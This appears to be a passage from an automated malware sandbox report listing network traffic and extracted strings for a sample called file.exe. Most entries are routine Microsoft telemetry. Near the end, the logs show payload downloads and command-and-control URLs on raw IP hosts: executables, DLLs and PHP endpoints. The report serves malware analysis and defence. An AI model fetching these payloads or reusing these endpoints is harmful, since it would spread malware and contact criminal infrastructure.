Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733362059&P2=404&P3=2&P4=CxbkhoJN42wNTK1WtLDbrW8RkOaw0d7lENRB0OFPfiK2ahItUf7LIuigvJL0D4N1mPjNUv%2bAAiFdhbb9482BVA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: fJc0SFp2PfRZIfGBLSywCGSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MR3za6bfP2Ux6u5&MD=awHTx8PN HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: 747fedd1-1e99-44e4-9894-6748faff373c.tmp.13.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log9.13.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log9.13.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log9.13.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000001.00000002.2754120647.0000000023631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730382945.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dlll
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2754120647.0000000023631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000001.00000002.2754120647.0000000023631000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllsQ
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllZ
Source: file.exe, 00000001.00000002.2730002309.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730382945.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: file.exe, 00000001.00000002.2754120647.000000002369A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpOm
Source: file.exe, 00000001.00000002.2730002309.0000000000A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpa
Source: file.exe, 00000001.00000002.2754120647.00000000236B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpes;C:
Source: file.exe, 00000001.00000002.2730382945.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000001.00000002.2730002309.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206B
Source: file.exe, 00000001.00000002.2730382945.0000000001095000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: skotes.exe, 0000001F.00000002.3411897951.000000000080B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php%
Source: skotes.exe, 0000001F.00000002.3411897951.0000000000860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpE
